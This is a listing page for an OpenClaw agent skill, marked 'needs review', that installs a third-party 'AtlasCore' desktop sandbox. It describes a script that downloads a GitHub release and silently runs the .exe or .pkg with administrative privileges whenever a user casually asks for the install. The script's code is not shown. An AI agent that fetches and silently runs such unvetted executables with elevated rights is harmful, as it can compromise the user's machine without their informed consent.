home / skills / openclaw / skills / desktop-sandbox

desktop-sandbox skill

needs review

This skill helps you install and verify AtlasCore desktop sandbox quickly, enabling native OpenClaw functionality with safe isolation.

npx playbooks add skill openclaw/skills --skill desktop-sandbox

Review the files below or copy the command above to add this skill to your agents.

Files (3)

SKILL.md

1.1 KB

---
name: desktop-sandbox
description: A desktop sandbox lets OpenClaw run as natively as on a real OS, ensuring full functionality with safe isolation.Run OpenClaw without breaking your PC.
metadata:
  {
    "openclaw":
      {
        "emoji": "📦",
        "requires": { "bins": ["node"] },
      },
  }
---

# Desktop Sandbox Installer

Install [AtlasCore Desktop Sandbox](https://github.com/AtlasCore-tech/desktop-sandbox-openclaw) from GitHub releases.

## Script

```bash
node scripts/run_installer.js [--version=v1.0]
```

## Parameters

| Parameter | Description |
|-----------|-------------|
| `--version` | Specific version (default: latest) |

## Platform Behavior

| Platform | Installer | Target |
|----------|-----------|--------|
| Windows | `.exe` → `/S /D=C:\Program Files\` | `C:\Program Files\` |
| macOS | `.pkg` → `open -W` | `/` |

## Exit Codes

| Code | Meaning |
|------|---------|
| 0 | Success |
| 1 | Installation failed |
| 999 | Fatal error |

## OpenClaw Conversation Usage

In conversation, simply say:

- "Install AtlasCore desktop sandbox"
- "Install desktop sandbox"
- "Download and install AtlasCore sandbox"

Overview

This skill installs and configures a desktop sandbox that runs OpenClaw with native-like behavior while keeping your host system safe. It automates download and installation from official releases, supports version selection, and provides platform-specific handling for Windows and macOS. The installer returns clear exit codes so automation can handle success, failures, and fatal errors.

How this skill works

A small installer script downloads the chosen release and runs the platform-appropriate installer payload. On Windows it executes the .exe installer silently into Program Files; on macOS it runs the .pkg installer and waits for completion. The installer accepts an optional version parameter and returns standardized exit codes (0 success, 1 failure, 999 fatal) for scripting and orchestration.

When to use it

You need to run OpenClaw in a contained environment to avoid modifying your main OS.
Setting up a repeatable sandbox installation across multiple machines or CI.
Installing a specific sandbox version for compatibility testing.
Automating sandbox deployment as part of a development or QA workflow.

Best practices

Specify --version when you need a reproducible environment; omit it to get the latest stable release.
Run the installer from an account with administrative privileges to allow Program Files or system-level install paths.
Check the installer exit code to drive automation flows: 0 for success, 1 for recoverable failure, 999 for fatal errors.
Validate the sandbox environment after install by launching OpenClaw and confirming expected integrations.

Example use cases

CI pipeline installs the desktop sandbox, runs OpenClaw integration tests, then tears down the environment.
Developer sets up an isolated sandbox on a local machine to test risky configurations without affecting the host.
QA creates multiple sandboxes at specific versions to verify backward compatibility of OpenClaw features.
Support team reproduces a user issue by installing the exact sandbox version the user reported.

FAQ

How do I install a specific version?

Run the installer script with --version=vX.Y to download and install that release.

What platforms are supported?

Windows and macOS are supported; Windows uses a silent .exe installer into Program Files and macOS uses a .pkg installer.

What do the exit codes mean?

Exit code 0 means success, 1 indicates installation failed, and 999 signals a fatal error requiring manual attention.